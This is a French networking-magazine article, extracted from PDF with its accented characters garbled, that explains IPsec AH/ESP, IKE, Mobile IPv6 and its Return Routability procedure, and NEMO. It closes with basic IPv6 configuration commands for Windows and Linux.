ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

